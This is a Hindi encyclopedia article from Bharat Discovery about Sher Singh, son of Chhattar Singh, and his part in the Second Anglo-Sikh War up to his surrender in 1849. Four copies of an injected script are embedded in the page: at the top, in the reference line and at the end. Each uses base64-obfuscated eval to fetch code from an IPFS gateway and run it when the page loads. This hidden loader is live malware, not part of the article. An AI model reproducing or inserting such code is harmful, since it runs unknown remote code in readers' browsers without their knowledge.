शेरसिंह (छत्तरसिंह पुत्र)

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शेरसिंह 'छत्तरसिंह' नामक एक सिक्ख सरदार का पुत्र था। पहले उसने अंग्रेज़ों की अधीनता स्वीकार कर ली थी, किंतु बाद में उसने मुल्तान के शासक मूलराज का अंग्रेज़ों के विरुद्ध युद्ध में पूरा साथ दिया। गुजरात के युद्ध में पराजय के बाद उसने अंग्रेज़ों के सामने आत्मसमर्पण कर दिया और इसके बाद उसके शेष दिन एक प्रकार से अज्ञातवास में व्यतीत हुए।

  • प्रथम सिक्ख युद्ध में जब अंग्रेज़ों ने सिक्खों को पराजित कर दिया, तब शेरसिंह अंग्रेज़ों का विश्वासपात्र बन गया।
  • मुल्तान के शासक मूलराज द्वारा विद्रोह कर देने पर 1848 ई. में उसे उसका दमन करने के लिए भेजा गया।
  • मुल्तान पहुँचकर शेरसिंह विद्रोही सिक्खों से मिल गया।
  • इस प्रकार के दलबल से कई सिक्ख सरदार उसके पक्ष में हो गये।
  • आगे चलकर मूलराज का यही विद्रोह द्वितीय सिक्ख युद्ध का कारण बना।
  • 16 नवम्बर, 1848 ई. को शेरसिंह और अंग्रेज़ों मध्य रामनगर नामक स्थान पर एक अनिर्णीत युद्ध हुआ।
  • जनवरी 1849 ई. के चिलियानवाला के प्रसिद्ध युद्ध में भी शेरसिंह ने भाग लिया, किन्तु वह सिक्ख सेना का सफल नेतृत्व नहीं कर सका।
  • परिणाम यह हुआ कि वह अनिर्णीत युद्ध अंग्रेज़ों की विजय में परिणत हो गया।
  • 21 फ़रवरी, 1849 ई. को गुजरात के युद्ध में सिक्खों की अन्तिम बार पराजय होने के उपरान्त शेरसिंह ने अंग्रेज़ों के सम्मुख आत्मसमर्पण कर दिया


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 455 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>